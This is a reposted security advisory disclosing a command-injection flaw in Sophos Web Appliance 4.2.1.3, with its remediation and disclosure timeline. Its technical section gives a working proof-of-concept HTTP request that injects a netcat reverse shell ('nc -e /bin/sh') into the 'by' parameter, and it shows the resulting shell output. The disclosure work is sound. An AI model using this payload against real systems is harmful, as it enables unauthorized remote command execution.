Sophos Web Appliance 4.2.1.3 – Remote Code Execution

  • 作者: KoreLogic
    日期: 2016-11-07
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  • 来源:https://www.exploit-db.com/exploits/40725/
  • KL-001-2016-009 : Sophos Web Appliance Remote Code Execution
    
    Title: Sophos Web Appliance Remote Code Execution
    Advisory ID: KL-001-2016-009
    Publication Date: 2016.11.03
    Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-009.txt
    
    
    1. Vulnerability Details
    
     Affected Vendor: Sophos
     Affected Product: Web Apppliance
     Affected Version: v4.2.1.3
     Platform: Embedded Linux
     CWE Classification: CWE-78: Improper Neutralization of Special Elements
     used in an OS Command ('OS Command Injection'),
     CWE-88: Argument Injection or Modification
     Impact: Remote Code Execution
     Attack vector: HTTP
    
    2. Vulnerability Description
    
     An authenticated user of any privilege can execute arbitrary
     system commands as the non-root webserver user.
    
    3. Technical Description
    
     Multiple parameters to the web interface are unsafely handled and
     can be used to run operating system commands, such as:
    
     POST /index.php?c=logs HTTP/1.1
     Host: [redacted]
     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0)
    Gecko/20100101 Firefox/46.0
     Accept: text/javascript, text/html, application/xml, text/xml, */*
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate, br
     DNT: 1
     X-Requested-With: XMLHttpRequest
     X-Prototype-Version: 1.6.1
     Content-Type: application/x-www-form-urlencoded; charset=UTF-8
     Content-Length: 305
     Connection: close
    
    
    STYLE=590fca17b230e8cdba0394cfa28ef2eb&period=today&xperiod=&sb_xperiod=xdays&startDate=&txt_time_start=12%3A00%20AM&endDate=&txt_time_end=11%3A59%20PM&txt_filter_user_timeline=test&action=search&by=user_timeline`nc%20-e%20/bin/sh%20[redacted]%209191`&search=test&sort=time&multiplier=1&start=&end=&direction=1
    
     HTTP/1.1 200 OK
     Date: Tue, 10 May 2016 15:35:05 GMT
     Server: Apache
     Cache-Control: no-store, no-cache, must-revalidate, private, post-check=0,
    pre-check=0
     Pragma: no-cache
     X-Frame-Options: sameorigin
     X-Content-Type-Options: nosniff
     Connection: close
     Content-Type: text/html; charset=utf-8
     Content-Length: 207
    
     {"lastPage":1,"startTime":"2016\/05\/10 12:00 AM","endTime":"2016\/05\/10
    4:35
    PM","filter":"test","recordsDisplayed":0,"recordsTotal":0,"data":[],"startDateBeforeData":false,"earliestRecord":"1970\/01\/01"}
    
     --
    
     The vulnerable parameters are: by, request_id, and txt_filter_domain
    
     That request launches the following process on the SWA:
    
     1000 168510.00.0 27281040 ?S15:43 0:00 sh -c
    /opt/perl/bin/salp-generate-report.pl --report=Filter --res=-
    --type=user_timeline`nc -e /bin/sh [redacted] 9191` --filter='dGVzdA=='
    --start='2016/05/10' --end='2016/05/10' --action=''
    --sid=590fca17b230e8cdba0394cfa28ef2eb
    
     From the shell launched via netcat:
    
     id;uname -a;uptime
     uid=1000(spiderman) gid=1000(spiderman)
    groups=1000(spiderman),16(cron),44(tproxyd),45(wdx)
     Linux please 3.2.57 #1 SMP Fri Feb 19 18:30:36 UTC 2016 i686 GNU/Linux
     15:52:34 up4:26,0 users,load average: 0.11, 0.12, 0.15
    
    4. Mitigation and Remediation Recommendation
    
     The vendor has issued a fix for this vulnerability in Version
     4.3 of SWA. Release notes available at:
    
     http://swa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.html
    
    5. Credit
    
     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.
    
    6. Disclosure Timeline
    
     2016.09.09 - KoreLogic sends vulnerability report and PoC to Sophos
     2016.09.14 - Sophos requests KoreLogic re-send vulnerability details.
     2016.09.28 - KoreLogic requests status update.
     2016.09.28 - Sophos informs KoreLogic that an update including a fix
    for this vulnerability will be available near the end
    of October.
     2016.10.13 - Sophos informs KoreLogic that the update was released to a
    limited customer base and is expected to be distributed
    at-large over the following week.
     2016.11.03 - Public disclosure.
    
    7. Proof of Concept
    
     See 3. Technical Description.
    
    
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